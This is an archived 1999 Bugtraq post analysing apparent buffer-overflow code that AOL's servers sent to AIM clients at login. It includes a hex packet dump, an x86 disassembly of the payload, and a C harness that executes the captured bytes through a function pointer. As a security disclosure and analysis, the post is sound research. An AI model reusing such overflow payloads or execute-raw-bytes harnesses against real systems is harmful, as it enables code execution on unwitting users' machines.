AOL Buffer Overflow???

From: Robert Graham (bugtraqat_private)
Date: Mon Aug 16 1999 - 23:42:07 PDT

  • Next message: Alan Brown: "Re: DOS against SuSE's identd"

    /*
    Possible Buffer Overflow in AOL Instant Messenger
    ------------------------------------------------------------
    Robert Graham
    http://www.robertgraham.com/pubs/aol-exploit/
    
    
    It appears to me that AOL might be running a buffer-overflow
    exploit against their own clients.
    
    
    BEFORE DOING ANYTHING ELSE: log onto AOL Instant Messaging and
    take a trace of it with NetMon/tcpdump/Sniffer/etc. If this is
    really happening, then AOL will likely fix it soon.
    
    
    DETAILS
    ------------------------------------------------------------
    
    Last friday I read the following in the NYTimes:
    http://www.nytimes.com/library/tech/99/08/biztech/articles/13soft.html
    
    This story brings up the implication that America Online might
    be running a "buffer-overflow exploit" on in its own users.
    They have already made 13 changes to their server code in
    the past few weeks in order to stop Microsoft's clones from
    working, so this may be yet another attempt.
    
    According to whay I see, it appears to me that this implication
    is correct. I see something that looks a lot like a buffer overflow
    exploit when sniffing the connection between the client and AOL's servers.
    
    You can reproduce this yourself:
    
    1. log onto AOL Instant Messenger with the latest client that
       comes with Communicator version WIN32 2.0.912, aka 2.0N.
       (Click on [File/Help/Report a bug] to get the real version).
    
    2. take a packet trace of the login procedures (I use NetMon).
    
    3. look for the frame that I describe below.
    
    4. copy/paste the frame data into the C program as I demonstrate
       below.
    
    5. step through the code in the debugger and disassemble it
    
    
    THE PACKET
    ------------------------------------------------------------
    
    AOL has removed their documentation from the Internet recently.
    I had to download the GAIM (AIM client for Linux) source
    code to figure things out.
    
    A TCP connection is used. The format for each request/response
    in the login process is:
    
    byte[0] = 0x2a
    byte[1] = 0x02 (type = 2 =login)
    byte[2-3] = sequence number
    byte[4-5] = length
    byte[6-7] = type
    byte[8-9] = subtype
    
    However, multiple requests/responses can be queued into
    a single packet. Following is the entire TCP packet I received
    from the AOL server to my client:
    
    00000000  00 00 BA 5E BA 11 00 A0 C9 B0 5E BD 08 00 45 00 ...^......^...E.
    00000010  01 90 35 2A 40 00 7F 06 AF 73 0A 00 00 02 0A 00 ..5*@...s......
    00000020  01 C9 04 38 0D 7F 25 F8 E3 A3 0C 19 A5 14 50 18 ...8.%.......P.
    00000030  6E B5 4C E2 00 00/2A 02 31 F8 00 0C 00 0B 00 02 n.L...*.1.......
    00000040  00 00 80 A2 F1 D5 04 B0/2A 02 31 F9 01 28 00 01 ........*.1..(..
    00000050  00 13 00 00 80 A2 F1 D6 00 FF 00 0B 01 18*83*C4 ................
    00000060  10 4F 8D 94 24 E4 FE FF FF 8B EC 03 AA F8 00 00 .O..$...........
    00000070  00 90 90 90 90 8B 82 F0 00 00 00 8B 00 89 82 4E ...............N
    00000080  00 00 00 8B 4D 04 03 8A F4 00 00 00 8D 82 42 00 ....M.........B.
    00000090  00 00 89 45 10 B8 10 00 00 00 89 45 0C C9 FF E1 ...E.......E....
    000000A0  00 01 00 20 00 00 00 00 00 00 00 04 00 00 00 00 ................
    000000B0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    000000C0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    000000D0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    000000E0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    000000F0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    00000100  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    00000110  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    00000120  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    00000130  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    00000140  00 00 00 00 00 00 00 00 00 00 00 00 00 00 19 10 ................
    00000150  08 11 29 EC FF FF 44 00 00 00 00 00 00 00 FF 00 ..)...D.........
    00000160  00 00 08 01 00 00 00 00 00 00 90 47 40 00 F8*E9*...........G@...
    00000170  EA FE FF FF 00 00/2A 02 31 FA 00 22 00 01 00 13 ......*.1.."....
    00000180  00 00 80 A2 F1 D7 00 04 00 0B 00 12 68 74 74 70 ............http
    00000190  3A 2F 2F 77 77 77 2E 61 6F 6C 2E 63 6F 6D       ://www.aol.com
    
    
    There are three AIM segments in this packet, which I've
    marked with slashes in the above decode. (Remember that
    TCP is a stream based protocol, so application protocols
    have to figure out their own boundaries, and you often
    see multiple segments in a single TCP packet). The
    second segment is of interest here, as marked by
    the slashes.
    
    It seems like the first byte of the embedded code
    starts at the byte with the value 0x83 at offset 0x53
    However, this isn't the buffer overflow, but the start of the
    buffer itself. Immediately proceeding this is what appears to
    be a length field. I'm thinking they only allow for a max
    length of 256 (0x100), but the length field has an
    extra 0x18 bytes. So if we go 256 bytes into the buffer,
    we get some more stuff that looks like code.
    
    I haven't analyzed all this stuff, but it appears that at
    the end of the overflow section, it jumps back to the start
    of the buffer that contains the code of the exploit.
    [You only get so much wriggle room where you overflow,
    because the more you overflow, the more of the stack you
    overwrite; so the overflowed section has to be as small
    as possible, and jump backwards to actually run something].
    
    
    THE DECODE
    ------------------------------------------------------------
    
    In this section, I have done a decode of all the bytes
    in the segment. To the left are the original bytes,
    to the right is either the protocol interpretation
    or the disassembled output. These bytes are
    in the same order as in the original packet.
    
    2A 02                          parse of logon sequence
    31 F9                          sequence number
    01 28                          length of this segment
    00 01 00 13                    type/subtype field of this packet
    00 00 80 A2 F1 D6 00 FF 00 0B  unknown data
    01 18                          length of data field
    
    83 C4 10             add         esp,10h
    4F                   dec         edi
    8D 94 24 E4 FE FF FF lea         edx,dword ptr [esp-11Ch]
    8B EC                mov         ebp,esp
    03 AA F8 00 00 00    add         ebp,dword ptr [edx+0F8h]
    90                   nop
    90                   nop
    90                   nop
    90                   nop
    8B 82 F0 00 00 00    mov         eax,dword ptr [edx+0F0h]
    8B 00                mov         eax,dword ptr [eax]
    89 82 4E 00 00 00    mov         dword ptr [edx+4Eh],eax
    8B 4D 04             mov         ecx,dword ptr [ebp+4]
    03 8A F4 00 00 00    add         ecx,dword ptr [edx+0F4h]
    8D 82 42 00 00 00    lea         eax,dword ptr [edx+42h]
    89 45 10             mov         dword ptr [ebp+10h],eax
    B8 10 00 00 00       mov         eax,10h
    89 45 0C             mov         dword ptr [ebp+0Ch],eax
    C9                   leave
    FF E1                jmp         ecx
    
    00 01 00 20 00 00 00 00 00 00 00 04 00 00 00 00 filler
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 block
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 that
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 doesn't
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 mean
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 much
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 19 10 start of
    08 11 29 EC FF FF 44 00 00 00 00 00 00 00 FF 00 overflow
    00 00 08 01 00 00 00 00 00 00
    90 47 40 00	                                    jump address?
    F8                                              unknown
    
    E9 EA FE FF FF       jmp         back_to_start_of_buffer
    
    00 00
    
    You'll notice that there appears to be other code that
    I haven't disassembled. I would have to second-guess
    the original source, and I don't quite feel like it.
    
    How to disassemble this? The easiest way is simply
    to paste the data bytes into a program and RUN the code.
    
    In theory, you could create a sample program that would
    actually run this code completely without crashing
    but that would take A LOT of effort.
    
    
    THE CODE TO TEST IT
    ------------------------------------------------------------
    */
    
    /* The data from the packet, starting at where I believe the data field
     * begins.*/
    unsigned char packet[] = {0x83, 0xC4,
    0x10, 0x4F, 0x8D, 0x94, 0x24, 0xE4, 0xFE, 0xFF,
    0xFF, 0x8B, 0xEC, 0x03, 0xAA, 0xF8, 0x00, 0x00,
    0x00, 0x90, 0x90, 0x90, 0x90, 0x8B, 0x82, 0xF0,
    0x00, 0x00, 0x00, 0x8B, 0x00, 0x89, 0x82, 0x4E,
    0x00, 0x00, 0x00, 0x8B, 0x4D, 0x04, 0x03, 0x8A,
    0xF4, 0x00, 0x00, 0x00, 0x8D, 0x82, 0x42, 0x00,
    0x00, 0x00, 0x89, 0x45, 0x10, 0xB8, 0x10, 0x00,
    0x00, 0x00, 0x89, 0x45, 0x0C, 0xC9, 0xFF, 0xE1,
    0x00, 0x01, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x19, 0x10,
    0x08, 0x11, 0x29, 0xEC, 0xFF, 0xFF, 0x44, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0x00,
    0x00, 0x00, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x90, 0x47, 0x40, 0x00, 0xF8, 0xE9,
    0xEA, 0xFE, 0xFF, 0xFF, 0x00, 0x00, 0x2A, 0x02,
    0x31, 0xFA, 0x00, 0x22, 0x00, 0x01, 0x00, 0x13,
    0x00, 0x00, 0x80, 0xA2, 0xF1, 0xD7, 0x00, 0x04,
    0x00, 0x0B, 0x00, 0x12, 0x68, 0x74, 0x74, 0x70,
    0x3A, 0x2F, 0x2F, 0x77, 0x77, 0x77, 0x2E, 0x61,
    0x6F, 0x6C, 0x2E, 0x63, 0x6F, 0x6D};
    
    /* Function point that will point to the buffer above */
    void (*foo)();
    
    int main()
    {
    	/* Set to the point where it overflows (256-characters in),
    	 * then add an offset to the jmp instruction that jumps back
    	 * to the begining */
    	foo = packet+256+0x11;
    
    	/* In MS DevStudio, put a break point here, and then turn on
    	 * disassembly mode [View/Debug Windows/Disassembly]. This will
    	 * allow you to single step each assembly intruction, and will
    	 * disassemble them for you. Also, turn on view of the original
    	 * bytes by righ-hand-mouse-clicking on the disassembly and
    	 * selecting [Code Bytes].
    	 */
    	foo();
    
    	return 0;
    }
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 14:56:41 PDT